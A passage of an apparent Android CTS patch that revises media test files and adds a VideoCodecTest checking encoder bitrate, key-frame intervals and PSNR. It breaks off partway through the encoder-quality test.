- testLevel(AVC, 176, 144, 15, 64, profile, AVCLevel1, AVCLevel1);
+ testsRun += testLevel(AVC, 176, 144, 15, 64, profile, AVCLevel1, AVCLevel1);
// Enable them when vendor fixes the failure
//testLevel(AVC, 178, 144, 15, 64, profile, AVCLevel1, AVCLevel11);
//testLevel(AVC, 178, 146, 15, 64, profile, AVCLevel1, AVCLevel11);
//testLevel(AVC, 176, 144, 16, 64, profile, AVCLevel1, AVCLevel11);
//testLevel(AVC, 176, 144, 15, 65, profile, AVCLevel1, AVCLevel1b);
- testLevel(AVC, 176, 144, 15, 64, profile, AVCLevel1b, AVCLevel1,
- AVCLevel1b);
+ testsRun += testLevel(AVC, 176, 144, 15, 64, profile, AVCLevel1b, AVCLevel1, AVCLevel1b);
// testLevel(AVC, 176, 144, 15, 65, profile, AVCLevel2, AVCLevel1b,
// AVCLevel11, AVCLevel12, AVCLevel13, AVCLevel2);
+ if (testsRun == 0) {
+ MediaUtils.skipTest("VideoCapabilities or surface not found");
+ }
}
@@ -1705,5 +1713,45 @@
config.isClientSilenced();
}
+ /*
+ * Microphone Direction API tests
+ */
+ public void testSetPreferredMicrophoneDirection() {
+ if (!hasMicrophone()) {
+ return;
+ }
+
+ try {
+ boolean succecss =
+ mMediaRecorder.setPreferredMicrophoneDirection(
+ MicrophoneDirection.MIC_DIRECTION_TOWARDS_USER);
+
+ // Can't actually test this as HAL may not have implemented it
+ // Just verify that it doesn't crash or throw an exception
+ // assertTrue(succecss);
+ } catch (Exception ex) {
+ Log.e(TAG, "testSetPreferredMicrophoneDirection() exception:" + ex);
+ assertTrue(false);
+ }
+ return;
+ }
+
+ public void testSetPreferredMicrophoneFieldDimension() {
+ if (!hasMicrophone()) {
+ return;
+ }
+
+ try {
+ boolean succecss = mMediaRecorder.setPreferredMicrophoneFieldDimension(1.0f);
+
+ // Can't actually test this as HAL may not have implemented it
+ // Just verify that it doesn't crash or throw an exception
+ // assertTrue(succecss);
+ } catch (Exception ex) {
+ Log.e(TAG, "testSetPreferredMicrophoneFieldDimension() exception:" + ex);
+ assertTrue(false);
+ }
+ return;
+ }
}
diff --git a/tests/tests/media/src/android/media/cts/MediaScannerConnectionTest.java b/tests/tests/media/src/android/media/cts/MediaScannerConnectionTest.java
index 6745fa4..574ef2e 100644
--- a/tests/tests/media/src/android/media/cts/MediaScannerConnectionTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaScannerConnectionTest.java
@@ -77,13 +77,10 @@
mMediaScannerConnection.connect();
checkConnectionState(true);
- assertTrue(mMediaScannerConnection.mIsOnServiceConnectedCalled);
mMediaScannerConnection.disconnect();
checkConnectionState(false);
- // FIXME: onServiceDisconnected is not called.
- assertFalse(mMediaScannerConnection.mIsOnServiceDisconnectedCalled);
mMediaScannerConnection.connect();
checkConnectionState(true);
@@ -118,25 +115,9 @@
}
class MockMediaScannerConnection extends MediaScannerConnection {
-
- public boolean mIsOnServiceConnectedCalled;
- public boolean mIsOnServiceDisconnectedCalled;
public MockMediaScannerConnection(Context context, MediaScannerConnectionClient client) {
super(context, client);
}
-
- @Override
- public void onServiceConnected(ComponentName className, IBinder service) {
- super.onServiceConnected(className, service);
- mIsOnServiceConnectedCalled = true;
- }
-
- @Override
- public void onServiceDisconnected(ComponentName className) {
- super.onServiceDisconnected(className);
- mIsOnServiceDisconnectedCalled = true;
- // this is not called.
- }
}
class MockMediaScannerConnectionClient implements MediaScannerConnectionClient {
diff --git a/tests/tests/media/src/android/media/cts/MediaScannerTest.java b/tests/tests/media/src/android/media/cts/MediaScannerTest.java
index 4f27289..8cb6f3d 100644
--- a/tests/tests/media/src/android/media/cts/MediaScannerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaScannerTest.java
@@ -618,14 +618,14 @@
public static void startMediaScan() {
new Thread(() -> {
- MediaStore.scanVolume(InstrumentationRegistry.getTargetContext(),
- Environment.getExternalStorageDirectory());
+ MediaStore.scanVolume(InstrumentationRegistry.getTargetContext().getContentResolver(),
+ MediaStore.VOLUME_EXTERNAL_PRIMARY);
}).start();
}
public static void startMediaScanAndWait() {
- MediaStore.scanVolume(InstrumentationRegistry.getTargetContext(),
- Environment.getExternalStorageDirectory());
+ MediaStore.scanVolume(InstrumentationRegistry.getTargetContext().getContentResolver(),
+ MediaStore.VOLUME_EXTERNAL_PRIMARY);
}
private void checkMediaScannerConnection() {
diff --git a/tests/tests/media/src/android/media/cts/NdkMediaCodec.java b/tests/tests/media/src/android/media/cts/NdkMediaCodec.java
index 2b9bf1e..7c3791f 100644
--- a/tests/tests/media/src/android/media/cts/NdkMediaCodec.java
+++ b/tests/tests/media/src/android/media/cts/NdkMediaCodec.java
@@ -64,7 +64,9 @@
int frameRate,
int iFrameInterval,
ByteBuffer csd,
- int flags);
+ int flags,
+ int lowLatency,
+ Surface surface);
private static native boolean AMediaCodecQueueInputBuffer(
long ndkMediaCodec,
@@ -102,6 +104,11 @@
@Override
public void configure(MediaFormat format, int flags) {
+ configure(format, flags, null /* surface */);
+ }
+
+ @Override
+ public void configure(MediaFormat format, int flags, Surface surface) {
int width = format.getInteger(MediaFormat.KEY_WIDTH, -1);
int height = format.getInteger(MediaFormat.KEY_HEIGHT, -1);
@@ -109,6 +116,7 @@
int bitRate = format.getInteger(MediaFormat.KEY_BIT_RATE, -1);
int frameRate = format.getInteger(MediaFormat.KEY_FRAME_RATE, -1);
int iFrameInterval = format.getInteger(MediaFormat.KEY_I_FRAME_INTERVAL, -1);
+ int lowLatency = format.getInteger(MediaFormat.KEY_LOW_LATENCY, -1);
ByteBuffer csdBufCopy = null;
if (format.containsKey(CSD_0)) {
@@ -128,7 +136,9 @@
frameRate,
iFrameInterval ,
csdBufCopy,
- flags);
+ flags,
+ lowLatency,
+ surface);
}
@Override
diff --git a/tests/tests/media/src/android/media/cts/ResourceManagerTestActivity2.java b/tests/tests/media/src/android/media/cts/ResourceManagerTestActivity2.java
index 79d0d2d..ea0567f 100644
--- a/tests/tests/media/src/android/media/cts/ResourceManagerTestActivity2.java
+++ b/tests/tests/media/src/android/media/cts/ResourceManagerTestActivity2.java
@@ -22,11 +22,11 @@
public class ResourceManagerTestActivity2 extends ResourceManagerTestActivityBase {
@Override
- protected void onCreate(Bundle savedInstanceState) {
+ protected void onResume() {
TAG = "ResourceManagerTestActivity2";
- Log.d(TAG, "onCreate called.");
- super.onCreate(savedInstanceState);
+ Log.d(TAG, "onResume called.");
+ super.onResume();
int result = (allocateCodecs(1 /* max */) == 1) ? RESULT_OK : RESULT_CANCELED;
finishWithResult(result);
diff --git a/tests/tests/media/src/android/media/cts/RoutingTest.java b/tests/tests/media/src/android/media/cts/RoutingTest.java
index e7d562c..f6b3c20 100644
--- a/tests/tests/media/src/android/media/cts/RoutingTest.java
+++ b/tests/tests/media/src/android/media/cts/RoutingTest.java
@@ -567,11 +567,20 @@
}
private MediaPlayer allocMediaPlayer() {
+ return allocMediaPlayer(null, true);
+ }
+
+ private MediaPlayer allocMediaPlayer(AudioDeviceInfo device, boolean start) {
final int resid = R.raw.testmp3_2;
MediaPlayer mediaPlayer = MediaPlayer.create(mContext, resid);
mediaPlayer.setAudioAttributes(
new AudioAttributes.Builder().setUsage(AudioAttributes.USAGE_MEDIA).build());
- mediaPlayer.start();
+ if (device != null) {
+ mediaPlayer.setPreferredDevice(device);
+ }
+ if (start) {
+ mediaPlayer.start();
+ }
return mediaPlayer;
}
@@ -753,15 +762,19 @@
MediaPlayer mediaPlayer = null;
try {
- mediaPlayer = allocMediaPlayer();
-
- mediaPlayer.setPreferredDevice(telephonyDevice);
+ mediaPlayer = allocMediaPlayer(telephonyDevice, false);
assertEquals(AudioDeviceInfo.TYPE_TELEPHONY, mediaPlayer.getPreferredDevice().getType());
-
- // Sleep for 1s to ensure the output device open
+ mediaPlayer.start();
+ // Sleep for 1s to ensure the underlying AudioTrack is created and started
SystemClock.sleep(1000);
- assertTrue(mediaPlayer.getRoutedDevice().getType() != AudioDeviceInfo.TYPE_TELEPHONY);
-
+ telephonyDevice = mediaPlayer.getRoutedDevice();
+ // 3 behaviors are accepted when permission to play to telephony device is rejected:
+ // - indicate a null routed device
+ // - fallback to another device for playback
+ // - stop playback in error.
+ assertTrue(telephonyDevice == null
+ || telephonyDevice.getType() != AudioDeviceInfo.TYPE_TELEPHONY
+ || !mediaPlayer.isPlaying());
} finally {
if (mediaPlayer != null) {
mediaPlayer.stop();
diff --git a/tests/tests/media/src/android/media/cts/SdkMediaCodec.java b/tests/tests/media/src/android/media/cts/SdkMediaCodec.java
index 53a4ec8..b955e1c 100644
--- a/tests/tests/media/src/android/media/cts/SdkMediaCodec.java
+++ b/tests/tests/media/src/android/media/cts/SdkMediaCodec.java
@@ -21,6 +21,7 @@
import android.media.MediaCodec.Callback;
import android.media.MediaFormat;
import android.os.Bundle;
+import android.view.Surface;
import java.nio.ByteBuffer;
public class SdkMediaCodec implements MediaCodecWrapper {
@@ -54,6 +55,11 @@
}
@Override
+ public void configure(MediaFormat format, int flags, Surface surface) {
+ mCodec.configure(format, surface, null, flags);
+ }
+
+ @Override
public void setInputSurface(InputSurfaceInterface surface) {
surface.configure(mCodec);
}
diff --git a/tests/tests/media/src/android/media/cts/SoundPoolTest.java b/tests/tests/media/src/android/media/cts/SoundPoolTest.java
index 2c56acd..c426a31 100644
--- a/tests/tests/media/src/android/media/cts/SoundPoolTest.java
+++ b/tests/tests/media/src/android/media/cts/SoundPoolTest.java
@@ -39,9 +39,9 @@
private static final int SOUNDPOOL_STREAMS = 4;
private static final int PRIORITY = 1;
- private static final int LOUD = 20;
- private static final int QUIET = LOUD / 2;
- private static final int SILENT = 0;
+ private static final float LOUD = 1.f;
+ private static final float QUIET = LOUD / 4.f;
+ private static final float SILENT = 0.f;
private File mFile;
private SoundPool mSoundPool;
diff --git a/tests/tests/media/src/android/media/cts/VideoCodecTest.java b/tests/tests/media/src/android/media/cts/VideoCodecTest.java
new file mode 100644
index 0000000..7439aa1
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/VideoCodecTest.java
@@ -0,0 +1,737 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
+import android.media.MediaCodecList;
+import android.media.MediaFormat;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+import android.media.cts.R;
+
+import java.io.File;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
+
+/**
+ * Verification test for video encoder and decoder.
+ *
+ * A raw yv12 stream is encoded at various settings and written to an IVF
+ * file. Encoded stream bitrate and key frame interval are checked against target values.
+ * The stream is later decoded by video decoder to verify frames are decodable and to
+ * calculate PSNR values for various bitrates.
+ */
+@MediaHeavyPresubmitTest
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class VideoCodecTest extends VideoCodecTestBase {
+
+ private static final String ENCODED_IVF_BASE = "football";
+ private static final String INPUT_YUV = null;
+ private static final String OUTPUT_YUV = SDCARD_DIR + File.separator +
+ ENCODED_IVF_BASE + "_out.yuv";
+
+ // YUV stream properties.
+ private static final int WIDTH = 320;
+ private static final int HEIGHT = 240;
+ private static final int FPS = 30;
+ // Default encoding bitrate.
+ private static final int BITRATE = 400000;
+ // List of bitrates used in quality and basic bitrate tests.
+ private static final int[] TEST_BITRATES_SET = { 300000, 500000, 700000, 900000 };
+ // Maximum allowed bitrate variation from the target value.
+ private static final double MAX_BITRATE_VARIATION = 0.2;
+ // Average PSNR values for reference Google Video codec for the above bitrates.
+ private static final double[] REFERENCE_AVERAGE_PSNR = { 33.1, 35.2, 36.6, 37.8 };
+ // Minimum PSNR values for reference Google Video codec for the above bitrates.
+ private static final double[] REFERENCE_MINIMUM_PSNR = { 25.9, 27.5, 28.4, 30.3 };
+ // Maximum allowed average PSNR difference of encoder comparing to reference Google encoder.
+ private static final double MAX_AVERAGE_PSNR_DIFFERENCE = 2;
+ // Maximum allowed minimum PSNR difference of encoder comparing to reference Google encoder.
+ private static final double MAX_MINIMUM_PSNR_DIFFERENCE = 4;
+ // Maximum allowed average PSNR difference of the encoder running in a looper thread with 0 ms
+ // buffer dequeue timeout comparing to the encoder running in a callee's thread with 100 ms
+ // buffer dequeue timeout.
+ private static final double MAX_ASYNC_AVERAGE_PSNR_DIFFERENCE = 1.5;
+ // Maximum allowed minimum PSNR difference of the encoder running in a looper thread
+ // comparing to the encoder running in a callee's thread.
+ private static final double MAX_ASYNC_MINIMUM_PSNR_DIFFERENCE = 2;
+ // Maximum allowed average key frame interval variation from the target value.
+ private static final int MAX_AVERAGE_KEYFRAME_INTERVAL_VARIATION = 1;
+ // Maximum allowed key frame interval variation from the target value.
+ private static final int MAX_KEYFRAME_INTERVAL_VARIATION = 3;
+
+ /**
+ * A basic test for Video encoder.
+ *
+ * Encodes 9 seconds of raw stream with default configuration options,
+ * and then decodes it to verify the bitstream.
+ * Also checks the average bitrate is within MAX_BITRATE_VARIATION of the target value.
+ */
+ private void internalTestBasic(String codecMimeType, int bitRateMode) throws Exception {
+ int encodeSeconds = 9;
+ boolean skipped = true;
+
+ for (int targetBitrate : TEST_BITRATES_SET) {
+ EncoderOutputStreamParameters params = getDefaultEncodingParameters(
+ INPUT_YUV,
+ ENCODED_IVF_BASE,
+ codecMimeType,
+ encodeSeconds,
+ WIDTH,
+ HEIGHT,
+ FPS,
+ bitRateMode,
+ targetBitrate,
+ true);
+ ArrayList<ByteBuffer> codecConfigs = new ArrayList<>();
+ ArrayList<MediaCodec.BufferInfo> bufInfo = encode(params, codecConfigs);
+ if (bufInfo == null) {
+ continue;
+ }
+ skipped = false;
+
+ VideoEncodingStatistics statistics = computeEncodingStatistics(bufInfo);
+
+ /* Allow achieved bitrate to be smaller than target bitrate for
+ * VIDEO_ControlRateVariable mode */
+ if ((params.bitrateType == VIDEO_ControlRateConstant) ||
+ (statistics.mAverageBitrate > targetBitrate)) {
+ assertEquals("Stream bitrate " + statistics.mAverageBitrate +
+ " is different from the target " + targetBitrate,
+ targetBitrate, statistics.mAverageBitrate,
+ MAX_BITRATE_VARIATION * targetBitrate);
+ }
+
+ decode(params.outputIvfFilename, null, codecMimeType, FPS,
+ params.forceGoogleEncoder, codecConfigs);
+ }
+
+ if (skipped) {
+ Log.i(TAG, "SKIPPING testBasic(): codec is not supported");
+ }
+ }
+
+ /**
+ * Asynchronous encoding test for Video encoder.
+ *
+ * Encodes 9 seconds of raw stream using synchronous and asynchronous calls.
+ * Checks the PSNR difference between the encoded and decoded output and reference yuv input
+ * does not change much for two different ways of the encoder call.
+ */
+ private void internalTestAsyncEncoding(String codecMimeType, int bitRateMode) throws Exception {
+ int encodeSeconds = 9;
+
+ // First test the encoder running in a looper thread with buffer callbacks enabled.
+ boolean syncEncoding = false;
+ EncoderOutputStreamParameters params = getDefaultEncodingParameters(
+ INPUT_YUV,
+ ENCODED_IVF_BASE,
+ codecMimeType,
+ encodeSeconds,
+ WIDTH,
+ HEIGHT,
+ FPS,
+ bitRateMode,
+ BITRATE,
+ syncEncoding);
+ ArrayList<ByteBuffer> codecConfigs = new ArrayList<>();
+ ArrayList<MediaCodec.BufferInfo> bufInfos = encodeAsync(params, codecConfigs);
+ if (bufInfos == null) {
+ Log.i(TAG, "SKIPPING testAsyncEncoding(): no suitable encoder found");
+ return;
+ }
+ computeEncodingStatistics(bufInfos);
+ decode(params.outputIvfFilename, OUTPUT_YUV, codecMimeType, FPS,
+ params.forceGoogleEncoder, codecConfigs);
+ VideoDecodingStatistics statisticsAsync = computeDecodingStatistics(
+ params.inputYuvFilename, R.raw.football_qvga, OUTPUT_YUV,
+ params.frameWidth, params.frameHeight);
+
+
+ // Test the encoder running in a callee's thread.
+ syncEncoding = true;
+ params = getDefaultEncodingParameters(
+ INPUT_YUV,
+ ENCODED_IVF_BASE,
+ codecMimeType,
+ encodeSeconds,
+ WIDTH,
+ HEIGHT,
+ FPS,
+ bitRateMode,
+ BITRATE,
+ syncEncoding);
+ codecConfigs.clear();
+ bufInfos = encode(params, codecConfigs);
+ if (bufInfos == null) {
+ Log.i(TAG, "SKIPPING testAsyncEncoding(): no suitable encoder found");
+ return;
+ }
+ computeEncodingStatistics(bufInfos);
+ decode(params.outputIvfFilename, OUTPUT_YUV, codecMimeType, FPS,
+ params.forceGoogleEncoder, codecConfigs);
+ VideoDecodingStatistics statisticsSync = computeDecodingStatistics(
+ params.inputYuvFilename, R.raw.football_qvga, OUTPUT_YUV,
+ params.frameWidth, params.frameHeight);
+
+ // Check PSNR difference.
+ Log.d(TAG, "PSNR Average: Async: " + statisticsAsync.mAveragePSNR +
+ ". Sync: " + statisticsSync.mAveragePSNR);
+ Log.d(TAG, "PSNR Minimum: Async: " + statisticsAsync.mMinimumPSNR +
+ ". Sync: " + statisticsSync.mMinimumPSNR);
+ if ((Math.abs(statisticsAsync.mAveragePSNR - statisticsSync.mAveragePSNR) >
+ MAX_ASYNC_AVERAGE_PSNR_DIFFERENCE) ||
+ (Math.abs(statisticsAsync.mMinimumPSNR - statisticsSync.mMinimumPSNR) >
+ MAX_ASYNC_MINIMUM_PSNR_DIFFERENCE)) {
+ throw new RuntimeException("Difference between PSNRs for async and sync encoders");
+ }
+ }
+
+ /**
+ * Check if MediaCodec.PARAMETER_KEY_REQUEST_SYNC_FRAME is honored.
+ *
+ * Encodes 9 seconds of raw stream and requests a sync frame every second (30 frames).
+ * The test does not verify the output stream.
+ */
+ private void internalTestSyncFrame(
+ String codecMimeType, int bitRateMode, boolean useNdk) throws Exception {
+ int encodeSeconds = 9;
+
+ EncoderOutputStreamParameters params = getDefaultEncodingParameters(
+ INPUT_YUV,
+ ENCODED_IVF_BASE,
+ codecMimeType,
+ encodeSeconds,
+ WIDTH,
+ HEIGHT,
+ FPS,
+ bitRateMode,
+ BITRATE,
+ true);
+ params.syncFrameInterval = encodeSeconds * FPS;
+ params.syncForceFrameInterval = FPS;
+ params.useNdk = useNdk;
+ ArrayList<MediaCodec.BufferInfo> bufInfo = encode(params);
+ if (bufInfo == null) {
+ Log.i(TAG, "SKIPPING testSyncFrame(): no suitable encoder found");
+ return;
+ }
+
+ VideoEncodingStatistics statistics = computeEncodingStatistics(bufInfo);
+
+ // First check if we got expected number of key frames.
+ int actualKeyFrames = statistics.mKeyFrames.size();
+ if (actualKeyFrames != encodeSeconds) {
+ throw new RuntimeException("Number of key frames " + actualKeyFrames +
+ " is different from the expected " + encodeSeconds);
+ }
+
+ // Check key frame intervals:
+ // Average value should be within +/- 1 frame of the target value,
+ // maximum value should not be greater than target value + 3,
+ // and minimum value should not be less that target value - 3.
+ if (Math.abs(statistics.mAverageKeyFrameInterval - FPS) >
+ MAX_AVERAGE_KEYFRAME_INTERVAL_VARIATION ||
+ (statistics.mMaximumKeyFrameInterval - FPS > MAX_KEYFRAME_INTERVAL_VARIATION) ||
+ (FPS - statistics.mMinimumKeyFrameInterval > MAX_KEYFRAME_INTERVAL_VARIATION)) {
+ throw new RuntimeException(
+ "Key frame intervals are different from the expected " + FPS);
+ }
+ }
+
+ /**
+ * Check if MediaCodec.PARAMETER_KEY_VIDEO_BITRATE is honored.
+ *
+ * Run the the encoder for 12 seconds. Request changes to the
+ * bitrate after 6 seconds and ensure the encoder responds.
+ */
+ private void internalTestDynamicBitrateChange(
+ String codecMimeType, int bitRateMode, boolean useNdk) throws Exception {
+ int encodeSeconds = 12; // Encoding sequence duration in seconds.
+ int[] bitrateTargetValues = { 400000, 800000 }; // List of bitrates to test.
+
+ EncoderOutputStreamParameters params = getDefaultEncodingParameters(
+ INPUT_YUV,
+ ENCODED_IVF_BASE,
+ codecMimeType,
+ encodeSeconds,
+ WIDTH,
+ HEIGHT,
+ FPS,
+ bitRateMode,
+ bitrateTargetValues[0],
+ true);
+
+ // Number of seconds for each bitrate
+ int stepSeconds = encodeSeconds / bitrateTargetValues.length;
+ // Fill the bitrates values.
+ params.bitrateSet = new int[encodeSeconds * FPS];
+ for (int i = 0; i < bitrateTargetValues.length ; i++) {
+ Arrays.fill(params.bitrateSet,
+ i * encodeSeconds * FPS / bitrateTargetValues.length,
+ (i + 1) * encodeSeconds * FPS / bitrateTargetValues.length,
+ bitrateTargetValues[i]);
+ }
+
+ params.useNdk = useNdk;
+ ArrayList<MediaCodec.BufferInfo> bufInfo = encode(params);
+ if (bufInfo == null) {
+ Log.i(TAG, "SKIPPING testDynamicBitrateChange(): no suitable encoder found");
+ return;
+ }
+
+ VideoEncodingStatistics statistics = computeEncodingStatistics(bufInfo);
+
+ // Calculate actual average bitrates for every [stepSeconds] second.
+ int[] bitrateActualValues = new int[bitrateTargetValues.length];
+ for (int i = 0; i < bitrateTargetValues.length ; i++) {
+ bitrateActualValues[i] = 0;
+ for (int j = i * stepSeconds; j < (i + 1) * stepSeconds; j++) {
+ bitrateActualValues[i] += statistics.mBitrates.get(j);
+ }
+ bitrateActualValues[i] /= stepSeconds;
+ Log.d(TAG, "Actual bitrate for interval #" + i + " : " + bitrateActualValues[i] +
+ ". Target: " + bitrateTargetValues[i]);
+
+ // Compare actual bitrate values to make sure at least same increasing/decreasing
+ // order as the target bitrate values.
+ for (int j = 0; j < i; j++) {
+ long differenceTarget = bitrateTargetValues[i] - bitrateTargetValues[j];
+ long differenceActual = bitrateActualValues[i] - bitrateActualValues[j];
+ if (differenceTarget * differenceActual < 0) {
+ throw new RuntimeException("Target bitrates: " +
+ bitrateTargetValues[j] + " , " + bitrateTargetValues[i] +
+ ". Actual bitrates: "
+ + bitrateActualValues[j] + " , " + bitrateActualValues[i]);
+ }
+ }
+ }
+ }
+
+ /**
+ * Check if encoder and decoder can run simultaneously on different threads.
+ *
+ * Encodes and decodes 9 seconds of raw stream sequentially in CBR mode,
+ * and then run parallel encoding and decoding of the same streams.
+ * Compares average bitrate and PSNR for sequential and parallel runs.
+ */
+ private void internalTestParallelEncodingAndDecoding(String codecMimeType) throws Exception {
+ // check for encoder up front, as by the time we detect lack of
+ // encoder support, we may have already started decoding.
+ MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+ MediaFormat format = MediaFormat.createVideoFormat(codecMimeType, WIDTH, HEIGHT);
+ if (mcl.findEncoderForFormat(format) == null) {
+ Log.i(TAG, "SKIPPING testParallelEncodingAndDecoding(): no suitable encoder found");
+ return;
+ }
+
+ int encodeSeconds = 9;
+ final int[] bitrate = new int[1];
+ final double[] psnr = new double[1];
+ final Exception[] exceptionEncoder = new Exception[1];
+ final Exception[] exceptionDecoder = new Exception[1];
+ final EncoderOutputStreamParameters params = getDefaultEncodingParameters(
+ INPUT_YUV,
+ ENCODED_IVF_BASE,
+ codecMimeType,
+ encodeSeconds,
+ WIDTH,
+ HEIGHT,
+ FPS,
+ VIDEO_ControlRateConstant,
+ BITRATE,
+ true);
+ final String inputIvfFilename = params.outputIvfFilename;
+ final ArrayList<ByteBuffer> codecConfigs = new ArrayList<>();
+
+ Runnable runEncoder = new Runnable() {
+ public void run() {
+ try {
+ ArrayList<MediaCodec.BufferInfo> bufInfo;
+ if (codecConfigs.isEmpty()) {
+ bufInfo = encode(params, codecConfigs);
+ } else {
+ bufInfo = encode(params);
+ }
+ VideoEncodingStatistics statistics = computeEncodingStatistics(bufInfo);
+ bitrate[0] = statistics.mAverageBitrate;
+ } catch (Exception e) {
+ Log.e(TAG, "Encoder error: " + e.toString());
+ exceptionEncoder[0] = e;
+ }
+ }
+ };
+ Runnable runDecoder = new Runnable() {
+ public void run() {
+ try {
+ decode(inputIvfFilename, OUTPUT_YUV, codecMimeType, FPS,
+ params.forceGoogleEncoder, codecConfigs);
+ VideoDecodingStatistics statistics = computeDecodingStatistics(
+ params.inputYuvFilename, R.raw.football_qvga, OUTPUT_YUV,
+ params.frameWidth, params.frameHeight);
+ psnr[0] = statistics.mAveragePSNR;
+ } catch (Exception e) {
+ Log.e(TAG, "Decoder error: " + e.toString());
+ exceptionDecoder[0] = e;
+ }
+ }
+ };
+
+ // Sequential encoding and decoding.
+ runEncoder.run();
+ if (exceptionEncoder[0] != null) {
+ throw exceptionEncoder[0];
+ }
+ int referenceBitrate = bitrate[0];
+ runDecoder.run();
+ if (exceptionDecoder[0] != null) {
+ throw exceptionDecoder[0];
+ }
+ double referencePsnr = psnr[0];
+
+ // Parallel encoding and decoding.
+ params.outputIvfFilename = SDCARD_DIR + File.separator + ENCODED_IVF_BASE + "_copy.ivf";
+ Thread threadEncoder = new Thread(runEncoder);
+ Thread threadDecoder = new Thread(runDecoder);
+ threadEncoder.start();
+ threadDecoder.start();
+ threadEncoder.join();
+ threadDecoder.join();
+ if (exceptionEncoder[0] != null) {
+ throw exceptionEncoder[0];
+ }
+ if (exceptionDecoder[0] != null) {
+ throw exceptionDecoder[0];
+ }
+
+ // Compare bitrates and PSNRs for sequential and parallel cases.
+ Log.d(TAG, "Sequential bitrate: " + referenceBitrate + ". PSNR: " + referencePsnr);
+ Log.d(TAG, "Parallel bitrate: " + bitrate[0] + ". PSNR: " + psnr[0]);
+ assertEquals("Bitrate for sequenatial encoding" + referenceBitrate +
+ " is different from parallel encoding " + bitrate[0],
+ referenceBitrate, bitrate[0], MAX_BITRATE_VARIATION * referenceBitrate);
+ assertEquals("PSNR for sequenatial encoding" + referencePsnr +
+ " is different from parallel encoding " + psnr[0],
+ referencePsnr, psnr[0], MAX_ASYNC_AVERAGE_PSNR_DIFFERENCE);
+ }
+
+
+ /**
+ * Check the encoder quality for various bitrates by calculating PSNR
+ *
+ * Run the the encoder for 9 seconds for each bitrate and calculate PSNR
+ * for each encoded stream.
+ * Video streams with higher bitrates should have higher PSNRs.
+ * Also compares average and minimum PSNR of codec with PSNR values of reference Google codec.
+ */
+ private void internalTestEncoderQuality(String codecMimeType, int bitRateMode)
+ throws Exception {
+ int encodeSeconds = 9; // Encoding sequence duration in seconds for each bitrate.
+ double[] psnrPlatformCodecAverage = new double[TEST_BITRATES_SET.length];
+ double[] psnrPlatformCodecMin = new double[TEST_BITRATES_SET.length];
+ boolean[] completed = new boolean[TEST_BITRATES_SET.length];
+ boolean skipped = true;
+
+ // Run platform specific encoder for different bitrates
+ // and compare PSNR of codec with PSNR of reference Google codec.
+ for (int i = 0; i < TEST_BITRATES_SET.length; i++) {
+ EncoderOutputStreamParameters params = getDefaultEncodingParameters(
+ INPUT_YUV,
+ ENCODED_IVF_BASE,
+ codecMimeType,
+ encodeSeconds,
+ WIDTH,
+ HEIGHT,
+ FPS,
+ bitRateMode,
+ TEST_BITRATES_SET[i],
+ true);
+ ArrayList<ByteBuffer> codecConfigs = new ArrayList<>();
+ if (encode(params, codecConfigs) == null) {
+ // parameters not supported, try other bitrates
+ completed[i] = false;
+ continue;
+ }
+ completed[i] = true;
+ skipped = false;
+
+ decode(params.outputIvfFilename, OUTPUT_YUV, codecMimeType, FPS,
+ params.forceGoogleEncoder, codecConfigs);
+ VideoDecodingStatistics statistics = computeDecodingStatistics(
+ params.inputYuvFilename, R.raw.football_qvga, OUTPUT_YUV,
+ params.frameWidth, params.frameHeight);
+ psnrPlatformCodecAverage[i] = statistics.mAveragePSNR;
+ psnrPlatformCodecMin[i] = statistics.mMinimumPSNR;
+ }
+
+ if (skipped) {
+ Log.i(TAG, "SKIPPING testEncoderQuality(): no bitrates supported");
+ return;
+ }
+
+ // First do a sanity check - higher bitrates should results in higher PSNR.
+ for (int i = 1; i < TEST_BITRATES_SET.length ; i++) {
+ if (!completed[i]) {
+ continue;
+ }
+ for (int j = 0; j < i; j++) {
+ if (!completed[j]) {
+ continue;
+ }
+ double differenceBitrate = TEST_BITRATES_SET[i] - TEST_BITRATES_SET[j];
+ double differencePSNR = psnrPlatformCodecAverage[i] - psnrPlatformCodecAverage[j];
+ if (differenceBitrate * differencePSNR < 0) {
+ throw new RuntimeException("Target bitrates: " +
+ TEST_BITRATES_SET[j] + ", " + TEST_BITRATES_SET[i] +
+ ". Actual PSNRs: "
+ + psnrPlatformCodecAverage[j] + ", " + psnrPlatformCodecAverage[i]);
+ }
+ }
+ }
+
+ // Then compare average and minimum PSNR of platform codec with reference Google codec -
+ // average PSNR for platform codec should be no more than 2 dB less than reference PSNR
+ // and minumum PSNR - no more than 4 dB less than reference minimum PSNR.
+ // These PSNR difference numbers are arbitrary for now, will need further estimation
+ // when more devices with HW video codec will appear.
+ for (int i = 0; i < TEST_BITRATES_SET.length ; i++) {
+ if (!completed[i]) {
+ continue;
+ }
+
+ Log.d(TAG, "Bitrate " + TEST_BITRATES_SET[i]);
+ Log.d(TAG, "Reference: Average: " + REFERENCE_AVERAGE_PSNR[i] + ". Minimum: " +
+ REFERENCE_MINIMUM_PSNR[i]);
+ Log.d(TAG, "Platform: Average: " + psnrPlatformCodecAverage[i] + ". Minimum: " +
+ psnrPlatformCodecMin[i]);
+ if (psnrPlatformCodecAverage[i] < REFERENCE_AVERAGE_PSNR[i] -
+ MAX_AVERAGE_PSNR_DIFFERENCE) {
+ throw new RuntimeException("Low average PSNR " + psnrPlatformCodecAverage[i] +
+ " comparing to reference PSNR " + REFERENCE_AVERAGE_PSNR[i] +
+ " for bitrate " + TEST_BITRATES_SET[i]);
+ }
+ if (psnrPlatformCodecMin[i] < REFERENCE_MINIMUM_PSNR[i] -
+ MAX_MINIMUM_PSNR_DIFFERENCE) {
